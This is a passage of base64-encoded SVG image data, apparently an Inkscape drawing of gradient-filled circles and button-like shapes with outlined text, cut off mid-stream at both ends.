SIgZD0ibS03NTEuNi04MDkuOWMwIDAgMTguMS0xMy40IDQ1LjktMTMuNSAzMC40LTAuMiA0NC40IDEzLjUgNDQuNCAxMy41IDMuNyAyLjggNi45IDMuOSA3LjMgOC43bDMuNCAzOS4zYzAuNCA0LjgtMy4zIDguNy03LjMgOC43bC05Ny4xIDBjLTQuMSAwLTcuNy0zLjktNy4zLTguN2wzLjQtMzkuM2MwLjQtNC44IDIuNy01LjkgNy4zLTguN3oiIGZpbGw9IiM5Mjk2OTUiLz48L2c+PHBhdGggZD0iTTI1Ny41IDIyOEExMjcuNSAxMjcuNSAwIDAgMSAxMzAgMzU1LjUgMTI3LjUgMTI3LjUgMCAwIDEgMi40IDIyOCAxMjcuNSAxMjcuNSAwIDAgMSAxMzAgMTAwLjUgMTI3LjUgMTI3LjUgMCAwIDEgMjU3LjUgMjI4WiIgaWQ9InBhdGg2OTA3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA4NykiLz48cmVjdCBpZD0icmVjdDY5MDkiIHdpZHRoPSIzNzQuOCIgaGVpZ2h0PSIxLjkiIHg9IjE4Mi4xIiB5PSIxMjIuNSIgc3R5bGU9ImZpbGw6I2Y5ZjlmOTtmaWx0ZXI6dXJsKCNmaWx0ZXI2ODQ2KTtvcGFjaXR5OjAiLz48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MTEiIGQ9Ik0xNjMuNCAzNTAuM0ExMjcuOSAxMjcuMSAwIDAgMSA2LjggMjYwLjQgMTI3LjkgMTI3LjEgMCAwIDEgOTcuMiAxMDQuOCAxMjcuOSAxMjcuMSAwIDAgMSAyNTMuOCAxOTQuNiAxMjcuOSAxMjcuMSAwIDAgMSAxNjMuNCAzNTAuM1oiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MDg5KSIvPjxwYXRoIGQ9Ik0yNTcuNSAyMjcuOUExMjUuNiAxMjYuNSAwIDAgMSAxMzIgMzU0LjQgMTI1LjYgMTI2LjUgMCAwIDEgNi40IDIyNy45IDEyNS42IDEyNi41IDAgMCAxIDEzMiAxMDEuNCAxMjUuNiAxMjYuNSAwIDAgMSAyNTcuNSAyMjcuOVoiIGlkPSJwYXRoNjkxMyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZmlsbD0iIzkyOTY5NSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3NzemNjYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2OTE1IiBkPSJtNzM0IDMwMWMwIDAgMjIuNSAxMzkuNSAxMy41IDE0NC45LTkgNS40LTMzLjMgODQuMS0zNy44IDg4LjYtNC41IDQuNS0yNC45IDI0LjEtNzIgNy4yQzU5MC43IDUyNC44IDQ5NC43IDMwNS41IDQ5NC43IDMwNS41bDIyMC41LTI5Ljd6IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5MSkiLz48ZyBpZD0iZzY5MTciIHRyYW5zZm9ybT0ibWF0cml4KC0xLDAsMCwxLDY3Mi40MTQwNiw5MDEuNjE1MTMpIj48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MTkiIGQ9Ik0xODQuNS02NzIuOEExMjYuNSAxMjcuNSAwIDAgMSA1OC01NDUuMiAxMjYuNSAxMjcuNSAwIDAgMS02OC41LTY3Mi44IDEyNi41IDEyNy41IDAgMCAxIDU4LTgwMC4zIDEyNi41IDEyNy41IDAgMCAxIDE4NC41LTY3Mi44WiIgZmlsbD0iIzkyOTY5NSIvPjxwYXRoIGQ9Ik0xODQuNS02NzEuOEExMjcuNSAxMjcuNSAwIDAgMSA1Ny01NDQuMyAxMjcuNSAxMjcuNSAwIDAgMS03MC41LTY3MS44IDEyNy41IDEyNy41IDAgMCAxIDU3LTc5OS40IDEyNy41IDEyNy41IDAgMCAxIDE4NC41LTY3MS44WiIgaWQ9InBhdGg2OTIxIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5MykiLz48cGF0aCBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY5MjMiIGQ9Im05MC40LTU0OS4zYTEyNy45IDEyNy4yIDAgMCAxLTE1Ni42LTg5LjkgMTI3LjkgMTI3LjIgMCAwIDEgOTAuNC0xNTUuOCAxMjcuOSAxMjcuMiAwIDAgMSAxNTYuNiA4OS45IDEyNy45IDEyNy4yIDAgMCAxLTkwLjQgMTU1Ljh6IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5NSkiLz48cGF0aCBkPSJNMTg0LjUtNjcxLjlBMTI1LjYgMTI2LjUgMCAwIDEgNTktNTQ1LjQgMTI1LjYgMTI2LjUgMCAwIDEtNjYuNi02NzEuOSAxMjUuNiAxMjYuNSAwIDAgMSA1OS03OTguNCAxMjUuNiAxMjYuNSAwIDAgMSAxODQuNS02NzEuOVoiIGlkPSJwYXRoNjkyNSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZmlsbD0iIzkyOTY5NSIvPjwvZz48cGF0aCBpZD0icGF0aDY5MjciIGQ9Im01ODguOCAxNDAuMWMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuMy01MC4zIDBjLTQuOCAwLTguNyAzLjktOC43IDguN2wwIDUwLjdjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjMgMCAwIDUwLjNjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjcgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC4zIDUwLjMgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC43YzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuMyAwIDAtNTAuM2MwLTQuOC0zLjktOC43LTguNy04LjdsLTUwLjcgMHoiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGNsYXNzPSJzMTEiLz48ZWxsaXBzZSBpZD0iZWxsaXBzZTY5MjkiIHJ5PSI2NC4zIiByeD0iMTA1LjYiIGN5PSIxOTIuMyIgY3g9IjYwOS43IiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTU4OS4zIDEzOS45Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaWQ9InBhdGg2OTMxIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA5NykiLz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjE1MDE2MSwwLDAsMS4xNTAxNjEsODcwLjEwODQ2LDk5NC45NjQ1NikiIGlkPSJnNjkzMyI+PGNpcmNsZSByPSIyMi4xIiBjeT0iLTIyNCIgY3g9IjYwOC4xIiBpZD0iY2lyY2xlNjkzNSIgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwxLDAsMCwwKSIgZmlsbD0iI2Y5ZjlmOSIvPjxjaXJjbGUgdHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwxLDAsMCwwKSIgaWQ9ImNpcmNsZTY5MzciIGN4PSI2MDcuMiIgY3k9Ii0yMjQiIHI9IjIyLjEiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MDk5KSIvPjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDI4LjM0NjYyOSwwLjAwNDk2Nzg1KSIgaWQ9Imc2OTM5Ij48cGF0aCBkPSJtLTI2Mi44LTYxNy42IDIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOU0tMjQxLjktNjE3LjZsLTIwLjkgMjAuOSIgaWQ9InBhdGg2OTQxIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBjbGFzcz0iczEzIi8+PC9nPjwvZz48ZyB0cmFuc2Zvcm09Im1hdHJpeCgxLjE1OTg5NDQsMCwwLDEuMTU5ODk0NCw4ODQuNzI1ODEsMTAxMi43MTczKSIgaWQ9Imc2OTQ1Ij48Y2lyY2xlIGlkPSJjaXJjbGU2OTQ3IiBjeD0iLTI4Ni42IiBjeT0iLTY3MC43IiByPSIyMi4xIiBmaWxsPSIjZjlmOWY5Ii8+PGNpcmNsZSByPSIyMi4xIiBjeT0iLTY2OS44IiBjeD0iLTI4Ni42IiBpZD0iY2lyY2xlNjk0OSIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMDEpIi8+PHJlY3QgeT0iLTY4MC4zIiB4PSItMjk3LjEiIGhlaWdodD0iMjAuOSIgd2lkdGg9IjIwLjkiIGlkPSJyZWN0Njk1MSIgc3R5bGU9ImZpbGw6bm9uZTtzdHJva2UtbGluZWpvaW46cm91bmQ7c3Ryb2tlOiNjZjhlYWQiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS4xNDc0MDI3LDAsMCwxLjE0NzQwMjcsODY5LjQ5MDY5LDEwMTUuNjY4KSIgaWQ9Imc2OTUzIj48Y2lyY2xlIGlkPSJjaXJjbGU2OTU1IiBjeD0iNzMzLjUiIGN5PSItMjI0IiByPSIyMi4xIiB0cmFuc2Zvcm09Im1hdHJpeCgwLC0xLDEsMCwwLDApIiBmaWxsPSIjZjlmOWY5Ii8+PGNpcmNsZSB0cmFuc2Zvcm09Im1hdHJpeCgwLC0xLDEsMCwwLDApIiByPSIyMi4xIiBjeT0iLTIyNCIgY3g9IjczMi41IiBpZD0iY2lyY2xlNjk1NyIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMDMpIi8+PHBhdGggdHJhbnNmb3JtPSJtYXRyaXgoMS4wOTE0MTQsMCwwLDEuMjE5ODUyMSwtMTguNzczMDgzLDg1LjE5Nzg3KSIgaW5rc2NhcGU6dHJhbnNmb3JtLWNlbnRlci15PSItMy43IiBkPSJtLTE3Ny40LTY2Mi4xLTIxLjIgMCAxMC42LTE4LjR6IiBpbmtzY2FwZTpyYW5kb21pemVkPSIwIiBpbmtzY2FwZTpyb3VuZGVkPSIwIiBpbmtzY2FwZTpmbGF0c2lkZWQ9InRydWUiIHNvZGlwb2RpOmFyZzI9IjEuNiIgc29kaXBvZGk6YXJnMT0iMC41IiBzb2RpcG9kaTpyMj0iNi4xIiBzb2RpcG9kaTpyMT0iMTIuMiIgc29kaXBvZGk6Y3k9Ii02NjguMiIgc29kaXBvZGk6Y3g9Ii0xODgiIHNvZGlwb2RpOnNpZGVzPSIzIiBpZD0icGF0aDY5NTkiIHNvZGlwb2RpOnR5cGU9InN0YXIiIHN0eWxlPSJmaWxsOm5vbmU7c3Ryb2tlLWxpbmVqb2luOnJvdW5kO3N0cm9rZS13aWR0aDoxO3N0cm9rZTojMTQ5NzhlIi8+PC9nPjxnIHRyYW5zZm9ybT0ibWF0cml4KDEuMTM5OTA3NiwwLDAsMS4xMzk5MDc2LDg1Ni44ODQzNSwxMDAwLjM0MTQpIiBpZD0iZzY5NjEiPjxjaXJjbGUgcj0iMjIuMSIgY3k9Ii02NzAuNiIgY3g9Ii0xNjEuMiIgaWQ9ImNpcmNsZTY5NjMiIGZpbGw9IiNmOWY5ZjkiLz48Y2lyY2xlIGlkPSJjaXJjbGU2OTY1IiBjeD0iLTE2MS4zIiBjeT0iLTY2OS44IiByPSIyMi4xIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzEwNSkiLz48Y2lyY2xlIHI9IjEzLjMiIGN5PSItNjY5LjgiIGN4PSItMTYxLjMiIGlkPSJjaXJjbGU2OTY3IiBzdHlsZT0iZmlsbDpub25lO3N0cm9rZS1saW5lam9pbjpyb3VuZDtzdHJva2Utd2lkdGg6MTtzdHJva2U6I2E0NzU3NyIvPjwvZz48ZyBpZD0iZzY5NjkiIHRyYW5zZm9ybT0ibWF0cml4KDAuNjA2MDg3NDEsMCwwLDAuNjA2MDg3NDEsNjYwLjE1MzA3LDY1Mi4xOTg4MikiPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iY2NzY2NzYyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgaWQ9InBhdGg2OTcxIiBkPSJtLTQ4OC40LTY4OS45IDAgNi4xYzAgMC0yNC44IDIuMy0yNC44LTYuMSAwLTUuNCAyNC44LTExLjUgMjQuOC0xMS41bDAgNy4xYzAgMC0xMy43IDMuNy0xMy43IDUuNCAwLjEgNC4xIDEzLjctMSAxMy43LTF6TS00NjkuNi02OTYuNmwwIDcuMk0tNDY5LjYtNjk2LjZsMCA3LjJNLTQ2OS42LTY5Ni42bDAgNy4yYzAgMCAxNy44LTcuNCAyMC42LTQuNCAxIDEuMS0wLjcgMi4yLTYuMSAzLjctNi40IDEuOC0xNC43IDUuNC0xNC43IDUuNGwwIDcuMWMwIDAgOS42LTMuNiAxOC43LTYuNSA5LjItMyAxMy40LTUuMyAxMy4xLTguMi0wLjUtMy43LTkuNC01LjktMTUuMi02LjMtNy44LTAuNS0xNi40IDIuMS0xNi40IDIuMXpNLTQ4NC43LTY4NC4ybDAtNTAuNWMwIDAgMTguMyAzLjEgMjQuNCA4LjcgNC4zIDQgNS45IDUuMiA2LjIgMTUuMiAwLjEgMy43LTIuMSA3LjQtNS44IDkuNC0yLjcgMS40LTcuOS0wLjgtNy45LTAuOGwwLTIwYzAgMC0xLTMtMy0zLjItMS42LTAuMS0yLjIgMS44LTIuMiAxLjhsMCA0MC42YzAgMCAwLjQgNC42LTAuOCA2LjMtMS44IDIuNS00LjkgMy43LTguMSA0LjEtOS45IDEuNC0yOS45LTcuMS0yOS45LTcuMWw5LjctMC4xYzAgMCAxMi4yIDIuNiAxNi41LTAuOCAxLTAuOCAxLTMuNiAxLTMuNnoiIGZpbGw9IiMxNzFiMWQiLz48L2c+PGcgdHJhbnNmb3JtPSJtYXRyaXgoMS43NDI4NjU3LDAsMCwxLjM3MTM4MDUsMjk0My4xMTQ5LDEyMTYuMTk5OSkiIGlkPSJmbG93Um9vdDY5NzciIGNsYXNzPSJzMTQiPjxwYXRoIGQ9Im0tMTQ5My03MDIuNHEwIDAuNy0wLjEgMS4xLTAuMSAwLjQtMC4zIDAuNi0wLjIgMC4yLTAuNSAwLjMtMC4zIDAuMS0wLjggMC4xbC0xLjEgMCAwLTAuNiAxIDBxMC4yIDAgMC40IDAgMC4yLTAuMSAwLjItMC4yIDAuMS0wLjIgMC4xLTAuNSAwLTAuMyAwLTAuOCAwLTAuNSAwLTAuOCAwLTAuMy0wLjEtMC41LTAuMS0wLjItMC4yLTAuMi0wLjEtMC4xLTAuNC0wLjFsLTEuNCAwIDAgNi40LTEgMCAwLTcgMi42IDBxMC41IDAgMC44IDAuMSAwLjMgMC4xIDAuNSAwLjMgMC4yIDAuMiAwLjMgMC43IDAuMSAwLjQgMC4xIDEuMXpNLTE0OTEuNC02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMk0tMTQ5MS40LTY5Ny41bC0xIDAgMC03LjIgMSAwIDAgNy4yTS0xNDkxLjQtNjk3LjVsLTEgMCAwLTcuMiAxIDAgMCA3LjJ6TS0xNDg4LjItNzAwLjlsMCAwLjYtMC40IDBxLTAuMyAwLTAuNCAwLTAuMiAwLTAuMiAwLjEtMC4xIDAuMS0wLjEgMC4yIDAgMC4xIDAgMC40bDAgMC42cTAgMC4yIDAgMC40IDAgMC4xIDAuMSAwLjIgMC4xIDAuMSAwLjMgMC4xIDAuMiAwIDAuNCAwbDEuMSAwIDAtMy4zcTAtMC4zIDAtMC41IDAtMC4yLTAuMS0wLjMtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNCAwbC0xLjQgMCAwLTAuNiAxLjggMHEwLjUgMCAwLjcgMC4xIDAuMyAwLjEgMC41IDAuMyAwLjIgMC4yIDAuMiAwLjUgMC4xIDAuMyAwLjEgMC44bDAgMy45LTIuNSAwcS0wLjQgMC0wLjctMC4xLTAuMy0wLjEtMC41LTAuMi0wLjItMC4yLTAuMi0wLjQtMC4xLTAuMi0wLjEtMC42bDAtMC43cTAtMC4zIDAuMS0wLjYgMC4xLTAuMiAwLjItMC40IDAuMi0wLjIgMC41LTAuMiAwLjMtMC4xIDAuNy0wLjFsMC44IDB6TS0xNDg1LTY5NS4zbDAuNi0yLjEtMS44LTUuNyAxLjEgMCAxLjIgNC41IDEuMy00LjUgMSAwLTIuMyA3LjgtMSAwek0tMTQ3Ny4zLTY5OS43cTAgMS4xLTAuNCAxLjYtMC40IDAuNS0xLjMgMC41bC0yLjIgMCAwLTAuNiAyIDBxMC4yIDAgMC40IDAgMC4yIDAgMC4zLTAuMiAwLjEtMC4xIDAuMi0wLjQgMC4xLTAuMyAwLjEtMC43IDAtMC40IDAtMC42IDAtMC4yLTAuMS0wLjQtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNSAwbC0wLjggMHEtMC40IDAtMC42LTAuMS0wLjMtMC4xLTAuNC0wLjMtMC4yLTAuMi0wLjItMC42LTAuMS0wLjQtMC4xLTAuOSAwLTAuOSAwLjMtMS40IDAuNC0wLjUgMS4yLTAuNWwyIDAgMCAwLjYtMS43IDBxLTAuMiAwLTAuNCAwLjEtMC4xIDAuMS0wLjMgMC4yLTAuMSAwLjEtMC4xIDAuNCAwIDAuMiAwIDAuNiAwIDAuNCAwIDAuNiAwIDAuMiAwLjEgMC40IDAuMSAwLjEgMC4zIDAuMiAwLjIgMC4xIDAuNCAwLjFsMC43IDBxMC40IDAgMC43IDAuMSAwLjMgMC4xIDAuNSAwLjMgMC4yIDAuMiAwLjMgMC42IDAuMSAwLjQgMC4xIDF6TS0xNDc0LjItNzAyLjVsLTEuNCAwIDAgMy41cTAgMC41IDAuMSAwLjcgMC4xIDAuMiAwLjUgMC4ybDAuNSAwIDAgMC42LTAuOSAwcS0wLjQgMC0wLjYtMC4xLTAuMi0wLjEtMC40LTAuMy0wLjEtMC4yLTAuMi0wLjQtMC4xLTAuMi0wLjEtMC41bDAtNS43IDEgMCAwIDEuNSAxLjQgMCAwIDAuNnpNLTE0NzEuNi03MDAuOWwwIDAuNi0wLjQgMHEtMC4zIDAtMC40IDAtMC4yIDAtMC4yIDAuMS0wLjEgMC4xLTAuMSAwLjIgMCAwLjEgMCAwLjRsMCAwLjZxMCAwLjIgMCAwLjQgMCAwLjEgMC4xIDAuMiAwLjEgMC4xIDAuMyAwLjEgMC4yIDAgMC40IDBsMS4xIDAgMC0zLjNxMC0wLjMgMC0wLjUgMC0wLjItMC4xLTAuMy0wLjEtMC4xLTAuMy0wLjItMC4yIDAtMC40IDBsLTEuNCAwIDAtMC42IDEuOCAwcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAzLjktMi41IDBxLTAuNCAwLTAuNy0wLjEtMC4zLTAuMS0wLjUtMC4yLTAuMi0wLjItMC4yLTAuNC0wLjEtMC4yLTAuMS0wLjZsMC0wLjdxMC0wLjMgMC4xLTAuNiAwLjEtMC4yIDAuMi0wLjQgMC4yLTAuMiAwLjUtMC4yIDAuMy0wLjEgMC43LTAuMWwwLjggMHpNLTE0NjcuOS02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMnpNLTE0NjUuOS02OTcuNWwtMSAwIDAtNy4yIDEgMCAwIDcuMnpNLTE0NjMuOC02OTcuNWwtMSAwIDAtNS41IDEgMCAwIDUuNnptMC02LjMtMSAwIDAtMSAxIDAgMCAxek0tMTQ2MC4xLTcwMy4xcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAyLjJxMCAwLjUtMC4xIDAuOC0wLjEgMC4zLTAuMiAwLjUtMC4yIDAuMi0wLjUgMC4zLTAuMyAwLjEtMC43IDAuMWwtMS4zIDBxLTAuNCAwLTAuNy0wLjEtMC4zLTAuMS0wLjUtMC4zLTAuMi0wLjItMC4yLTAuNS0wLjEtMC4zLTAuMS0wLjhsMC0yLjFxMC0wLjUgMC4xLTAuOCAwLjEtMC4zIDAuMi0wLjUgMC4yLTAuMiAwLjUtMC4zIDAuMy0wLjEgMC43LTAuMWwxLjMgMHptLTEuOCAzLjlxMCAwLjMgMCAwLjUgMCAwLjIgMC4xIDAuMyAwLjEgMC4xIDAuMyAwLjIgMC4yIDAgMC40IDBsMC42IDBxMC4zIDAgMC40IDAgMC4yIDAgMC4zLTAuMSAwLjEtMC4xIDAuMS0wLjMgMC0wLjIgMC0wLjVsMC0yLjJxMC0wLjMgMC0wLjUgMC0wLjItMC4xLTAuMy0wLjEtMC4xLTAuMy0wLjItMC4yIDAtMC40IDBsLTAuNiAwcS0wLjMgMC0wLjQgMC0wLjIgMC0wLjIgMC4yLTAuMSAwLjEtMC4xIDAuMyAwIDAuMiAwIDAuNWwwIDIuMnpNLTE0NTYuNi03MDIuNWwwIDUtMSAwIDAtNS41IDIuNyAwcTAuNSAwIDAuNyAwLjEgMC4zIDAuMSAwLjUgMC4zIDAuMiAwLjIgMC4yIDAuNSAwLjEgMC4zIDAuMSAwLjhsMCAzLjktMSAwIDAtMy45cTAtMC4zIDAtMC41IDAtMC4yLTAuMS0wLjMtMC4xLTAuMS0wLjMtMC4yLTAuMiAwLTAuNCAwbC0xLjQgMHoiIGlkPSJwYXRoNDMzNCIgY2xhc3M9InMxNSIvPjwvZz48ZyB0cmFuc2Zvcm09Im1hdHJpeCg0LjIyNjcyMTksMCwwLDMuMjAwODczMSw2NjkxLjIzNywyNTU5LjE3NzMpIiBpZD0iZmxvd1Jvb3Q2OTg1IiBjbGFzcz0iczE0Ij48cGF0aCBkPSJtLTE1MTUuNC03NDEuMiAwLTEuNyAwLjYgMHEwLjEgMC44IDAuNyAxLjIgMC41IDAuNCAxLjUgMC40IDAuOCAwIDEuMi0wLjMgMC40LTAuMyAwLjQtMC44IDAtMC40LTAuMy0wLjctMC4zLTAuMi0xLjEtMC41bC0xLjEtMC4zcS0xLjEtMC4zLTEuNS0wLjgtMC40LTAuNS0wLjQtMS40IDAtMS4xIDAuNy0xLjcgMC43LTAuNiAyLTAuNiAwLjYgMCAxLjMgMC4xIDAuNyAwLjEgMS40IDAuM2wwIDEuNi0wLjYgMHEtMC4xLTAuOC0wLjYtMS4xLTAuNS0wLjQtMS40LTAuNC0wLjcgMC0xLjEgMC4zLTAuNCAwLjItMC40IDAuNyAwIDAuNSAwLjMgMC43IDAuMyAwLjIgMS4yIDAuNWwxLjEgMC4zcTEgMC4zIDEuNSAwLjggMC41IDAuNSAwLjUgMS41IDAgMS4xLTAuOCAxLjctMC44IDAuNi0yLjIgMC42LTAuNyAwLTEuNC0wLjEtMC43LTAuMS0xLjQtMC40ek0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNk0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNk0tMTUwNy43LTc0Ny41bC0wLjkgMCAwLTAuNiAzLjggMCAwIDAuNi0wLjkgMCAwIDMuNnEwIDEuNCAwLjQgMS45IDAuNCAwLjUgMS41IDAuNSAxIDAgMS40LTAuNSAwLjQtMC42IDAuNC0xLjlsMC0zLjYtMC45IDAgMC0wLjYgMi41IDAgMCAwLjYtMC45IDAgMCAzLjhxMCAxLjctMC43IDIuNC0wLjcgMC43LTIuNCAwLjctMS43IDAtMi40LTAuNy0wLjctMC43LTAuNy0yLjRsMC0zLjd6TS0xNDk5LjgtNzQwLjhsMC0wLjYgMC45IDAgMC02LjEtMC45IDAgMC0wLjYgMi4zIDAgNC40IDUuMiAwLTQuNi0wLjkgMCAwLTAuNiAyLjUgMCAwIDAuNi0wLjkgMCAwIDYuNy0xLjMgMC00LjUtNS4zIDAgNC43IDAuOSAwIDAgMC42LTIuNSAwek0tMTQ5MC42LTc0MC44bDAtMC42IDAuOSAwIDAtNi4xLTAuOSAwIDAtMC42IDIuMyAwIDQuNCA1LjIgMC00LjYtMC45IDAgMC0wLjYgMi41IDAgMCAwLjYtMC45IDAgMCA2LjctMS4zIDAtNC41LTUuMyAwIDQuNyAwLjkgMCAwIDAuNi0yLjUgMHpNLTE0ODAuMi03NDAuOGwwLTAuNiAxIDAgMC0yLjQtMi4yLTMuNy0wLjYgMCAwLTAuNiAzLjUgMCAwIDAuNi0wLjggMCAxLjYgMi44IDEuNi0yLjgtMC43IDAgMC0wLjYgMi4xIDAgMCAwLjYtMC42IDAtMiAzLjQgMCAyLjcgMSAwIDAgMC42LTMuOSAweiIgaWQ9InBhdGg0MzIzIiBjbGFzcz0iczE2Ii8+PC9nPjxwYXRoIGlkPSJwYXRoNjk5MyIgZD0ibTEwNC45IDEzMy43Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgY2xhc3M9InMxMSIvPjxlbGxpcHNlIGlkPSJlbGxpcHNlNjk5NSIgY3g9IjEzMi4zIiBjeT0iMTg3LjciIHJ4PSIxMDIuMiIgcnk9IjY0LjYiIGZpbGw9Im5vbmUiLz48ZWxsaXBzZSBpZD0iZWxsaXBzZTY5OTciIGN4PSIxMzMuMyIgY3k9IjE4OC4xIiByeD0iMTAzLjkiIHJ5PSI2NS43IiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggaWQ9InBhdGg2OTk5IiBkPSJtMTA0LjkgMTM1Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcxMDcpO3N0cm9rZS13aWR0aDoyO3N0cm9rZTojODI4NTg0Ii8+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTEwNC45IDEzNWMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuMy01MC4zIDBjLTQuOCAwLTguNyAzLjktOC43IDguN2wwIDUwLjdjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjMgMCAwIDUwLjNjMCA0LjggMy45IDguNyA4LjcgOC43bDUwLjcgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC4zIDUwLjMgMGM0LjggMCA4LjctMy45IDguNy04LjdsMC01MC43YzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuMyAwIDAtNTAuM2MwLTQuOC0zLjktOC43LTguNy04LjdsLTUwLjcgMHoiIGlkPSJwYXRoNzAwMSIgY2xhc3M9InMxNyIvPjxwYXRoIGQ9Im03MC42IDIxMy43IDAgMjguMWMwIDQuMiAzLjQgNy41IDcuNSA3LjVsMTkuNiAwYzQuMiAwIDguMy00LjUgMTEuMS03LjUgMy4xLTMuMyAxMC05IDEwLjMtMTMuMiAwLjMtNS40LTYuMi0xMS05LjktMTQuOS0yLjktMy03LjMtNy41LTExLjUtNy41bC0xOS42IDBjLTQuMiAwLTcuNSAzLjQtNy41IDcuNXoiIGlkPSJwYXRoNzAwMyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjZjlmOWY5Ii8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDcwMDUiIG